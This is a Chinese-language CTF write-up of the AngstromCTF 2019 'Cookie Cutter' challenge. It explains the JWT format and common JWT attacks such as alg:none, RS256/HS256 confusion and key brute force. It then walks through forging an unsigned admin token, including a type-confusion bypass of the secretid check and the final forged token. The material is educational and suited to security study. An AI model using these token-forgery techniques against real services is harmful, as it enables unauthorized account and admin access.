[AngstromCTF 2019]Cookie Cutter

最近看到了一个国外高中生的CTF比赛,翻了一下往年的例题,发现有一道关于jwt session伪造的题比较有意思,记录一下

题目简介中给出了我们题目的地址和后端处理的源码,看看源码先代码审计一下:

const cookieParser = require('cookie-parser');
const express = require('express');
const crypto = require('crypto');
const jwt = require('jsonwebtoken');

const flag = "[redacted]";

let secrets = [];

const app = express()
app.use('/style.css', express.static('style.css'));
app.use('/favicon.ico', express.static('favicon.ico'));
app.use('/rick.png', express.static('rick.png'));
app.use(cookieParser())

app.use('/admin',(req, res, next)=>{
    res.locals.rolled = true;
    next();
})

app.use((req, res, next) => {
    let cookie = req.cookies?req.cookies.session:"";
    res.locals.flag = false;
    try {
        let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
        if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
        let decoded = jwt.verify(cookie, secrets[sid]);
        if(decoded.perms=="admin"){
            res.locals.flag = true;
        }
        if(decoded.rolled=="yes"){
            res.locals.rolled = true;
        }
        if(res.locals.rolled) {
            req.cookies.session = ""; // generate new cookie
        }
    } catch (err) {
        req.cookies.session = "";
    }
    if(!req.cookies.session){
        let secret = crypto.randomBytes(32)
        cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
        secrets.push(secret);
        res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})
        req.cookies.session=cookie
        res.locals.flag = false;
    }
    next()
})

app.get('/admin', (req, res) => {
    res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");
})

app.get('/', (req, res) => {
    res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")
})

app.listen(3000)

粗略看了一下发现这是一道jwt伪造的题。先来简单讲一下jwt是个什么:

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
 
JWT是由三段信息构成的,将这三段信息文本用符号"."链接一起就构成了Jwt字符串,就像这样:

第一部分我们称它为头部(header),第二部分我们称其为载荷(payload),第三部分是签证(signature).

头部(header)承载两部分信息:

  • 声明类型,这里是jwt
  • 声明加密的算法 通常使用HS256与RS25

完整的头部就像下面这样的JSON:

 

在上面的代码中,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。然后对头部进行base64编码即可得到我们的第一段jwt。

载荷(Payload)就是存放有效信息的地方。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分

  • 标准中注册的声明
  • 公共的声明
  • 私有的声明

标准中注册的声明 (建议但不强制使用) :

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

完整的载荷就像下面这样的JSON:

 

 然后对载荷进行Base64加密即可得到我们的第二段jwt,与第一段jwt使用“.”连接。

签证信息(signature)构成jwt的第三部分,这个签证信息由三部分组成:

  • header (base64后的)
  • payload (base64后的)
  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

 

 

了解过jwt的原理后,我们来总结一下jwt中容易出现的安全问题,其实也就是CTF关于jwt题目中的考法:

1修改算法为none

  修改算法有两种修改的方式其中一种就是将算法就该为none。

  后端若是支持none算法,header中的alg字段可被修改为none

  去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’) 然后直接提交到服务端去。

2修改算法RS256为HS256

  RS256是非对称加密算法,HS是对称加密算法。

  假设jwt内部的函数支持的RS256算法,又同时支持HS256算法

  如果已知公钥的话,将算法改成HS256,然后后端就会用这个公钥当作密钥来加密

3信息泄露、密钥泄露

  JWT是以base64编码传输的,虽然密钥不可见,但是其数据记本上是明文传输的,如果传输了重要的内容,可以base64解码然后获取其重要的信息。

  如果服务端泄露了密钥,用户便可以根据密钥和加密算法来自己伪造生成jwt。

4爆破密钥

  如果密钥比较短,并且已知加密算法,通过暴力破解的方式,可以得到其密钥。

 

仔细审计一下代码,需要关注的点在这里:

let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);

再看看获取Flag的条件:

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
    res.locals.flag = true;
}
if(decoded.rolled=="yes"){
    res.locals.rolled = true;
}
if(res.locals.rolled) {
    req.cookies.session = ""; // generate new cookie
}   

这里我们分析一下:构造Payload首先需要绕过的是对于sid的验证,其次是jwt.verify()的验证,才可以获得Flag

先来看对于sid的验证:

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid; //这里是获取jwt payload中secretid的值
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

要求sid不能为空、值不为负并且要小于或等于secrets的长度值。这里有一个trick: NodeJs中数字与非纯数字字符串比较,无论大小都会返回Flase。

因此绕过这个验证只要保证sid的值即jwt payload中secretid有值即可,无论字符或数字都可以绕过。

接下来看看如何绕过jwt.verify()的验证:

 

let decoded = jwt.verify(cookie, secrets[sid]);

 

 

 从通过jwt.verify()验证所需的参数来看,我们需要密钥才可以通过验证,但是我们并不知道密钥,同时密钥是32位随机生成的字符串,爆破显然也行不通

这时我们想到了将jwt Header中加密算法alg的值设置为none即可,并且此时jwt.verify()验证中的密钥secrets[sid]为空即可通过验证(因为没有加密算法所以不需要私钥)

若sid为一个非数字字符串,那么secrets[sid]便会返回undefined,同时程序也只是验证了sid不等于undefined,对secrets[sid]并没有限制。

因此我们构造payload的核心就出来了:

1.将Header中alg的值修改为none

2.将Payload中perms的值修改为admin

3.将Payload中secretid的值修改为任一非数字字符串

4.将Payload中rolled的值修改为no,防止后端重新分配给我们一个jwt

 

构造Payload步骤如下:

 

通过这个网站我们可以实现jwt的解码与生成:https://jwt.io/

首先获取我们访问时默认的jwt:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6OTAsInJvbGxlZCI6Im5vIiwiaWF0IjoxNTgzMjk0MTk3fQ.M2OrRjGys_6btzgDXAipdjv4iB5vGovgnWFGQOwRgyo

解密得到:

{
    alg: "HS256",
    typ: "JWT"
}.
{
    perms: "user",
    secretid: 90,
    rolled: "yes",
    iat: 1583294197  //这里是jwt生成的时间,发送的时候有无均可
}.
[signature]  //签名部分,这里我们没有密钥,因此接下来伪造jwt的时候需要删掉这一部分

我们来构造一下获取Flag的明文jwt:

{
    alg: "none",   //不使用加密方式
    typ: "JWT"
}.
{
    perms: "admin",
    secretid: "ye",   //这里为了绕过后端的验证需要输入一个字符串
    rolled: "no"   //设置为no让后端不再重新分配jwt
}.

然后我们生成jwt然后直接删去第三部分的签证得到Payload:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJ5ZSIsInJvbGxlZCI6Im5vIn0.

将我们的payload jwt设置为session再次发送请求得到Flag:

 

 

参考链接:

https://www.jianshu.com/p/576dbf44b2ae

https://www.freebuf.com/column/207216.html

posted @ 2020-03-04 12:35  Ye'sBlog  阅读(637)  评论(0编辑  收藏  举报